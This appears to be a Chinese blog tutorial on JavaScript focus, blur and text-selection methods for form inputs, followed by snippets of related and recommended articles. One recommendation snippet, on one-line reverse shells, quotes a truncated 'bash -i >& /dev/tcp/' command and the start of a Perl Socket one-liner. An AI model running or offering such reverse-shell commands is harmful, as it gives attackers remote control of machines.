焦点事件:
  不是所有元素都有焦点事件,只有可交互性的元素才有,比如表单元素,a标签。页面中只能有一个元素有焦点,一个聚焦,另一个就失焦,默认在document。

例子结构如下:  

  <form>
    <input type="text" name="txt1" id="txt" />
    <input type="button" name="btn" value="点击" />
  </form>

js操作如下:

  1.form.txt1.focus();    // 让元素获得焦点,该方法不会触发onfocus()事件。

  2.form.txt1.onfocus=function(){console.log(1);}  //  元素获得焦点时会触发该事件

  3.form.txt1.onblur=function(){console.log(2);}  //元素失去焦点时触发该事件

  4.form.btn.onclick=function(){ form.txt1.select(); }  //选中输入框中的所有文字

  5.form.btn.onclick=function(){ form.txt1.setSelectionRange(2,5) ; form.txt1.focus(); } / / setSelectionRange需要配合着focus()使用才看得到效果,其中setSelectionRange的结束位置不包含在内,setSelectionRange(start,end)包含两个参数,一个是start:起始位置;一个是end:结束位置。

  默认情况下,输入框中的文字被选中的文字颜色是蓝色,如果想要改变背景颜色,可以使用 #txt::selection{ background: pink; }来改变

js中表单的聚焦失焦事件的更多相关文章

  1. 关于vue.js中表单控件绑定练习

    html: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8 ...

  2. js中表单提交后按钮变灰色的功能

    表单提交后按钮变成灰色 http://www.111cn.net/wy/js-ajax/45299.htm

  3. js进阶 12-5 jquery中表单事件如何使用

    js进阶 12-5 jquery中表单事件如何使用 一.总结 一句话总结:表单事件如何使用:可元素添加事件监听,然后监听元素,和javase里面一样. 1.表单获取焦点和失去焦点事件有哪两组? 注意是 ...

  4. JS事件 失焦事件(onblur)onblur事件与onfocus是相对事件,当光标离开当前获得聚焦对象的时候,触发onblur事件,同时执行被调用的程序。

    失焦事件(onblur) onblur事件与onfocus是相对事件,当光标离开当前获得聚焦对象的时候,触发onblur事件,同时执行被调用的程序. 如下代码, 网页中有用户和密码两个文本框.当前光标 ...

  5. js监听input等表单输入框的变化事件oninput

    js监听input等表单输入框的变化事件oninput,手机页面开发中使用到文本框textarea输入字符监听文本框变化计算还可以输入多少字符,如果使用onkeyup的话是无法监听到输入法输入的文本变 ...

  6. js事件、Js中的for循环和事件的关系、this

    一.js事件  1.事件 用户在网页中所触发的行为 鼠标滑动种类很多,键盘.表单特列: 点击:onclick 鼠标进入:onmouseenter 鼠标离开:onmouseleave 鼠标悬浮:onmo ...

  7. js表单提交,判断文本框,用户名密码是否为空,JS表单检测!

    当表单提交时先触发验证的js代码,当验证表单的方法返回true时才会提交表单返回false则不提交数据<script type="text/javascript">fu ...

  8. 原生js表单序列化----- FormData

    <style type="text/css"> .progress{ height: 10px; width: 600px; border: 1px solid red ...

  9. Js表单验证控件-02 Ajax验证

    在<Js表单验证控件(使用方便,无需编码)-01使用说明>中,写了Verify.js验证控件的基本用法,基本可以满足大多数验证需求,如果涉及服务端的验证,则可以通过Ajax. Ajax验证 ...

随机推荐

  1. C#打开php链接传参然后接收返回值

    php代码 一.php <?php header("Content-Type:text/html;charset=UTF-8"); $u=$_POST['zdupdate'] ...

  2. win10下装mysql-5.7.18-winx64

    步骤1 官网下载地址:https://dev.mysql.com/downloads/mysql/ 选择手动安装版: 解压到D盘mysql文件夹下: 比以往的版本里缺少了两个.ini文件,直接copy ...

  3. Java如何转换protobuf-net中的bcl.DateTime对象

    一.定义DateTime Message 参考文档:https://github.com/mgravell/protobuf-net/blob/master/src/Tools/bcl.proto m ...

  4. Docker - 运行 containers 使用在 swarm 模式下创建的 overlay 模式的 network

    前言 在Docker engine v1.12, 使用Swarm可以方便的创建overlay模式的网络,但是它只能被swarm下面的service所使用的,相对于container,这个网络是完全隔离 ...

  5. js循环给li绑定事件实现 点击li弹出其索引值 和内容

    代码如下: html代码 <ul> <li>房产</li> <li>家居</li> <li>二手房</li> < ...

  6. sql导出

    第一步: 要求:把Library里面的Readers表导出到MyDB中(注意:读者编号.设置了主键)

  7. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  8. Django Nginx反代 获取真实ip

    p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px "Andale Mono"; color: #28fe14; backgr ...

  9. 解决ionic在Android和iOS的一些样式上的冲突

    //设置默认返回按钮的文字 $ionicConfigProvider.backButton.previousTitleText(false).text('返回'); // 设置全局 $http 超时 ...

  10. Python os模块实例之遍历目录及子目录指定扩展名的文件

    需求:在该目录下有很多子目录(如下图,截图了部分),现要从该目录和所有子目录下找到所有扩展名为.meta的文件,并获取文件中第二行guid的值(': '后面的),然后将所有guid的值输出到另一文件中 ...